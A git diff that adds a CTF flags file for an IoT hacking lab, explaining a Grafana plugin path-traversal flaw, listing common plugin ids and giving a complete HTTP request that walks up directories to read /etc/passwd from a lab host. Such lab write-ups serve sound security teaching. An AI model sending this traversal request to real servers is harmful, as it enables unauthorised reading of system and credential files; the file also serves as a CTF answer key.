Create flags.md

iot_hacking/flags.md

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+# IoT Hacking CLUS CTF Flags
+
+The following are the CTF flags for the grafana vulnerability in the IoT device:
+
+The vulnerability is caused by plugin module, which is able to serve the static file inside the plugin folder. But for lock of check, attacker can use ../ to step up from the plugin folder to parent foler and download arbitrary files.
+
+To exploit the vulnerabilty, you should know a valid plugin id, such as alertlist, here are some of common plugin ids:
+```
+alertlist
+cloudwatch
+dashlist
+elasticsearch
+graph
+graphite
+heatmap
+influxdb
+mysql
+opentsdb
+pluginlist
+postgres
+prometheus
+stackdriver
+table
+text
+```
+Send following request to retrieve the **/etc/passwd ** (you can replace the alertlist with any valid plugin id):
+
+```
+GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd HTTP/1.1
+Host: http://192.168.3.126:3000
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
+Connection: close
+```